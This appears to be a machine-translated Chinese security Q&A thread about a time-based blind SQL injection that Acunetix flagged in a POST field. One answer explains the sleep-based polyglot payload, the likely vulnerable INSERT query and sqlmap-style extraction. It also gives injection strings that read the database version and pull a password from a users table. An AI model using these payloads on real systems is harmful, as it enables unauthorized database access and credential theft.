使用 Acunetrix Vulnerability Scanner 进行 SQL 盲注

信息安全 sql注入 mysql
2021-08-18 04:41:28

我正在尝试使用 Acunetrix Vulnerability Scanner 分析盲 SQL 注入的测试结果。

URL encoded POST input address was set to 
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

Tests performed: 
if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ => 12.062 s

HTTP headers sent to POST were:
address=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&

如果我们为address变量提供任何值,数据就会被插入到表中。有没有办法修改地址变量的标头数据,以便我们可以检索数据并执行选择操作并了解内部架构,而不是存储数据?

如果有人可以帮助我理解此声明背后的内部原理,那也将非常有帮助:

if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/
2个回答

该声明

if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/

基本上一次尝试三个不同的注入点。

1.直接的

    if(now()=sysdate(),sleep(6),0)/*...*/

如果输入将被直接解释(没有任何转义字符),则将触发此 sql。输入字符串的其余部分将被注释掉。

2.单引号'..'

    ..'XOR(if(now()=sysdate(),sleep(6),0))OR'..

如果输入用单引号封装在语句中,则开头和结尾的字符会脱离上下文,解释它们之间的sql。

3.双引号“..”

    .."XOR(if(now()=sysdate(),sleep(6),0))OR"*/

与单引号相同,但适用于封装在双引号中的输入。

查询可能是什么样子

如果是 PHP 构建了这个 MySQL 语句,它可能看起来像以下之一(取决于触发它的情况):

sql = "INSERT INTO tbl_addresses (address,user) VALUES("+$_POST["address"]+",..)"
sql = "INSERT INTO tbl_addresses (address,user) VALUES('"+$_POST["address"]+"',..)"
sql = "INSERT INTO tbl_addresses (address,user) VALUES(\""+$_POST["address"]+"\",..)"

怎么运行的

每种注入情况的陈述都是相同的。
它首先比较“now”函数的返回值是否与“sysdate”函数的返回值匹配。如果是这种情况(应该是),“睡眠”函数将在 6 秒或 0 秒的时间内被调用,从而导致您观察到的延迟。

可以将其作为纯粹的盲 SQL 注入来利用。像 sqlmap 这样的工具可以帮助您解决这个问题,因为如果您手动操作会花费很多时间。
它基本上会做什么(以简化形式)是问题陈述,例如:

if ( nth_character_of(password) == "a" , sleep(6), 0)

其中“nth_character_of”将是一个特定于数据库的函数,它从字符串中选择一个字符,而“password”将是一个查询,它返回您想要从数据库中检索的任何值。它还将使用优化的方法来查找正确的字符。
如果 sqlmap 遇到延迟,它将知道比较是正确的并进一步迭代。

缩小范围

您可以尝试分别提供三个注入案例中的每一个,并查看哪个导致延迟。这样你的注入字符串变得更短,更容易修改和理解。

你可以尝试什么

如果确实在前端返回了该值,正如您在另一个答案下的评论中所说的那样,那么 SQL 注入并非纯粹是盲目的。
您可能会成功地尝试像这样直接插入您的值:

version()/*'+version()+'"+version()+"*/

在前端检索版本或在所有三个地方使用您的查询检索版本,例如:

(select password from users LIMIT 1)/*'+(select password from users LIMIT 1)+'"+(select password from users LIMIT 1)+"*/

具有自定义查询的查询可能无法工作,具体取决于此特定应用程序中所需的编码,但值得一试。

[注意:见评论线程-这里实际上有 sql 注入,如 12 秒的往返时间所示]

如果该语句实际上被插入到地址列中,那么您可能在那里没有 sql 注入 - 至少没有一个可被该特定字符串利用的语句。

看起来它试图导致漏洞利用框架可检测到的执行暂停 - 因为它是盲目的(不是返回的数据),很难从外部判断它是否正在工作。这就是睡眠的原因。

然而,注入不是在数据被放置在正确的位置时发生(如果有人把它放在地址字段中,你会期望它最终在地址列中),而是当数据被解释为代码时。从你所说的来看,这并没有发生。如果我误解了,请澄清。